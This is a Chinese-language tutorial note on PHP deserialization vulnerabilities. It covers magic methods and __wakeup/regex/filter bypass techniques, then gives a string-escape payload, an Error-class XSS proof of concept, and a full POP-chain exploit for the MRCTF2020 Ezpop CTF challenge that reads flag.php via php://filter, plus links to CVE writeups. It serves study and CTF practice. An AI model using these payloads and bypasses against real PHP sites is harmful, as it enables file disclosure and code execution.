【Web安全】反序列化漏洞分析笔记 - 第一部分 PHP反序列化分析

什么是序列化和反序列化?

我个人的理解是:序列化是将对象转换为字节流,反序列化是将字节流转换为对象。为什么会有这些概念呢?还是来源于具体的需求,举个例子来说,比如一个公司要开发一个软件,这个软件需要保存用户的信息,那么这个信息需要持久化存储,那么这个信息怎么存储呢,这些信息可能是个在程序运行时可能是个对象,经过序列化之后,就可以存储到文件中,那么反序列化就是将存储在文件中的对象,恢复成对象,这样就可以解决对象的持久化存储的问题。

常见场景

不管是什么语言的序列化,从概念需求出发,就可以决定出场景:数据存储、网络传输、通过特定协议读取。

为什么反序列化会出现漏洞?

从根本原因来看,我个人感觉还是来自输入数据校验不完整,反序列化漏洞的存在应当归咎于开发者(有时候在想一些漏洞成因时,我总是想要确定下应当是谁负责任……),开发者开发应用时应当假设所有用户都是不可信的,对于所有用可能接触到的输入点都需要格外注意。就反序列化来说,一旦输入数据没有经过校验,那么反序列化的对象就可能会被恶意用户定制化,进而执行恶意代码。

漏洞利用的关键

黑盒:判断出存在有序列化的数据,序列化的接口,观察恢复元数据,利用原生类构造调用链,验证是否存在
白盒:定位关键函数,观察序列化输入是否可控

PHP反序列化漏洞

在PHP中,序列化和反序列化是将对象转换为可以存储或传输的字符串表示形式的过程,以及将这种字符串表示形式恢复为对象的过程。魔术方法(magic methods)是PHP中一些以双下划线开始的方法,它们在某些操作发生时自动被调用,例如对象的创建、销毁、调用不存在的方法等。序列化和反序列化的函数是使用unserialize()serialize()函数,其实感觉没什么讨论的,重点先讨论下魔术方法。

PHP中的魔术方法

以下内容参考自:PHP之十六个魔术方法详解

  • __construct(),类的构造函数
  • __destruct(),类的析构函数
  • __call(),在对象中调用一个不可访问方法时调用
  • __callStatic(),用静态方式中调用一个不可访问方法时调用
  • __get(),获得一个类的成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数
  • __toString(),类被当成字符串时的回应方法
  • __invoke(),调用函数的方式调用一个对象时的回应方法
  • __set_state(),调用var_export()导出类时,此静态方法会被调用。
  • __clone(),当对象复制完成时调用
  • __autoload(),尝试加载未定义的类
  • __debugInfo(),打印所需调试信息

其中,__toString()用的比较多,它的触发场景可以总结为下面这些:

  • echo($obj)/print($obj)打印时会触发
  • 反序列化对象与字符串连接时
  • 反序列化对象参与格式化字符串时
  • 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
  • 反序列化对象参与格式化SQL语句,绑定参数时
  • 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
  • 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
  • 反序列化的对象作为class_exists()的参数的时候

从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()
Alt text

图中显示的是很经典的图,展示了对象序列化后的内容,其中:

  • a - array 数组型
  • b - boolean 布尔型
  • d - double 浮点型
  • i - integer 整数型
  • o - common object 共同对象
  • r - objec reference 对象引用
  • s - non-escaped binary string 非转义的二进制字符串
  • S - escaped binary string 转义的二进制字符串
  • C - custom object 自定义对象
  • O - class 对象
  • N - null 空
  • R - pointer reference 指针引用
  • U - unicode string Unicode 编码的字符串

PHP序列化需注意以下几点:

  1. 只序列化属性:PHP的序列化机制默认只序列化对象的公共(public)和受保护(protected)属性。私有(private)属性不会被序列化,除非在类的 __sleep() 魔术方法中明确指定。
  2. 类定义必须可用:反序列化对象时,必须确保定义该对象的类在当前作用域中可用。如果类定义不存在,反序列化将失败,并且可能产生警告或错误。
  3. 控制属性:攻击者如果能够控制序列化数据中的属性值,可能会尝试利用这些属性来触发类的其他方法或执行不安全的操作。

PHP反序列化绕过技巧

源自这里

php7.1+反序列化对类属性不敏感

在序列化的数据中,如果类的属性是protect,则结果会在变量名前加上\x00*\x00(所以在fuzzing时需要注意用urlencode处理,不然直接输出显示会丢掉这些字符)
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00,也会正常输出

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

绕过__wakeup(CVE-2016-7124)

版本:PHP5 < 5.6.25 PHP7 < 7.0.10
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}

unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
?>

如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');, 输出结果为 666
而把对象属性个数的值增大执行 unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');,则会输出abc

绕过部分正则

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头

  • 利用加号绕过(注意在url里传参时+要编码为%2B)
  • serialize(array(a));为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php
    class test{
    public $a;
    public function __construct(){
    $this->a = 'abc';
    }
    public function __destruct(){
    echo $this->a.PHP_EOL;
    }
    }

    function match($data){
    if (preg_match('/^O:\d+/',$data)){
    die('you lose!');
    }else{
    return $data;
    }
    }
    $a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
    // +号绕过
    $b = str_replace('O:4','O:+4', $a);
    unserialize(match($b));
    // serialize(array($a));
    unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
    ?>

利用引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){

if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());
echo $a;
?>

上面例子中将$a赋值给$b,然后反序列化$a,由于$b是引用关系,所以反序列化后$b也会被赋值为abc,所以反序列化后输出666

16进制绕过字符的过滤

1
2
3
4
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

博主写了个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 666;
}
}
function check($data){
if(stristr($data, 'username')!==False){
echo("你绕不过!!".PHP_EOL);
}
else{
return $data;
}
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

PHP反序列化字符逃逸

情况一:过滤后字符串变多
下面的代码是把反序列化后的一个x替换成为两个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";

正常情况,传入name=mao

如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来),我们可以利用这一点实现字符串逃逸

接下来我们传入:name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}";i:1;s:6:"woaini";},这一部分共20个字符,由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符,造成溢出,而输出了woaini

情况二:过滤后字符串变少
这次是把两个x替换为1个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];

正常情况传入name=mao&age=11的结果

构造payload,由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:"age";s:28:"11这一部分刚好20个,后面的"闭合了前面的参数,就可以实现自定义执行了。

PHP原生类反序列化利用

PHP原生类中存在很多魔术方法的使用,可以利用这些原生类构造POP链。
可以用下面的脚本来查看原生类中哪些方法可以被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

一个简单的小例子看下如何利用。有如下代码:

1
2
3
<?php
$a = unserialize($_GET['a']);
echo $a;

构造POC如下:

1
2
3
4
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);

可以实现xss,虽然原来的代码中没有什么类可以利用,但利用原生类可以实现

CTF题目

CTF中的反序列化

「MRCTF2020」- Ezpop

打开页面后出现下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

要想让上面的代码显示出flag,可以注意到Modifier中的include,这个可以利用PHP文件包含漏洞实现,但是要怎么才能执行呢,继续往下看
题目中有很多的魔术方法,从可控的入口出发一一总结在下面

  • @unserialize 在反序列化时会自动调用 __wakeup 方法,判断Show类应当是入口
  • _wakeup 中 有 preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source),这里将 $this->source 当做字符串处理会触发 __toString 方法
  • __toString 方法中,访问属性source $this->str->source ,如果source不存在就会调用 __get ,所以这里的 $this->str 应当为 Test 类
  • __get 方法中,调用 $function() ,这里 p 应当为 Modifier 类,将类当做函数调用,会自动调用 __invoke 方法

明白了POP链的构造,就可以利用伪协议构造出下面的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "karsa";
}
}

class Test{
public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

构造payload后,访问?pop=,即可得到flag。
注* 使用 “php://filter”伪协议” 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

实战漏洞分析

Laravel RCE(CVE-2021-3129

https://www.freebuf.com/vuls/280508.html

Laravel v11.x (CVE-2024-40075)

https://xz.aliyun.com/t/15127?time__1311=GqjxuQD%3DomwxlxGgx%2BxCqiKbn7wG8U3feD

CVE-2020-15148 Yii2

https://www.cnblogs.com/Aurora-M/p/15659232.html

CVE-2018-18753 Typecho

https://www.cnblogs.com/wuhongbin/p/15526142.html

CVE-2019-6340

https://blog.csdn.net/shelter1234567/article/details/135187595

phpBB Phar CVE-2018-19274

https://xz.aliyun.com/t/8239

CVE-2022-30287 Horde Webmail

https://www.ctfiot.com/45607.html